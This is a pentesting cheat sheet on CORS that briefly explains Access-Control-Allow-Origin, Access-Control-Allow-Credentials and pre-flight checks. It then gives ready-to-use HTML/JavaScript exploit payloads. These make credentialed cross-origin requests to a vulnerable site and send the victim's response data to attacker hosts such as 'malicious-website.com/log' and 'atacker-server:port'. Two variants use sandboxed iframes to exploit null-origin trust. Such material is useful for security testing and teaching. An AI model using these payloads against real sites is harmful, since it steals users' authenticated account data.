---
description: Cross Origin Resource Sharing.
---

# CORS

It is a [W3C-defined mechanism](https://fetch.spec.whatwg.org/) that enables client-side cross-origin requests. It specifies how the browser and web server must communicate with each other to bypass SOP. To do this specific HTTP headers must be used, and they are called **Control Access Headers** (they are not part of the HTTP/1.1 standard).

## Headers

### Access-Control-Allow-Origin

Is used to specify which **domains are authorized to access a resource** on a server other than their own. This header is inserted in the server response, and allows or blocks requests from a specific source.\
In other words indicates if the response can be shared with the requesting code from the specified origin (`Origin` field).

{% code overflow="wrap" %}
```
Access-Control-Allow-Origin: * 
Access-Control-Allow-Origin: <single_origin>
Access-Control-Allow-Origin: null
```
{% endcode %}

Typically, programmers allow access to a single but dynamically generated origin only if that origin is allowed, reflecting the request origin field in Access-Control-Allow-Origin if it meets certain characteristics (regex).

{% code overflow="wrap" %}
```
bank.com --> maliciousbank.com, bank.com.malicious.com
```
{% endcode %}

### Access-Control-Allow-Credentials

The browser will permit the requesting website to read the response of requests that contain credentials such as cookies and the authorization header, because the `Access-Control-Allow-Credentials` response header is set to `true`. Otherwise, the browser will not allow access to the response.

It cannot be matched with `Access-Control-Allow-Origin: *` .

{% code overflow="wrap" %}
```
Access-Control-Allow-Origin: <single_origin>
Access-Control-Allow-Credentials: true
```
{% endcode %}

{% code overflow="wrap" %}
```
withCredentials
```
{% endcode %}

### Pre-flight checks

Under certain circumstances, when a cross-domain request includes a non-standard HTTP method or headers, the cross-origin request is preceded by a request using the `OPTIONS` method, and the CORS protocol necessitates an initial check on what methods and headers are permitted prior to allowing the cross-origin request. This is called the pre-flight check. The server returns a list of allowed methods in addition to the trusted origin and the browser checks to see if the requesting website's method is allowed.

## Attacks

[URL Validation Bypass](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) for Origin Header

### Base

{% code overflow="wrap" %}
```html
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
// req.setRequestHeader('Origin', 'https://origin.com');
req.send();
function reqListener() {
	location='//malicious-website.com/log?key='+encodeURIComponent(this.responseText);
};
</script>
```
{% endcode %}

{% code overflow="wrap" %}
```html
<script>
var xhr = new XMLHttpRequest();
var url = "https://vulnerable-site.com"
xhr.onreadystatechange = function() {
   if (xhr.readyState == XMLHttpRequest.DONE) {
      fetch("/log?key=" + xhr.responseText)
   }
}
xhr.open('GET', url + "/accountDetails", true);
xhr.withCredentials = true; // if server have Access-Control-Allow-Credentials: true
// xhr.setRequestHeader('Origin', 'https://origin.com');
xhr.send(null);
</script>
```
{% endcode %}

### Null

{% code overflow="wrap" %}
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```
{% endcode %}

```html
<iframe style="display: none;" sandbox="allow-scripts" srcdoc="
<script>
var xhr = new XMLHttpRequest();
var url = 'https://vulnerable-site.com'
xhr.onreadystatechange = function() {
   if (xhr.readyState == XMLHttpRequest.DONE) {
      fetch('http://atacker-server:port/log?key=' + xhr.responseText)
   }
}
xhr.open('GET', url + '/accountDetails', true);
xhr.withCredentials = true; // only if server have Access-Control-Allow-Credentials: true
xhr.send(null);
</script>"></iframe>
```
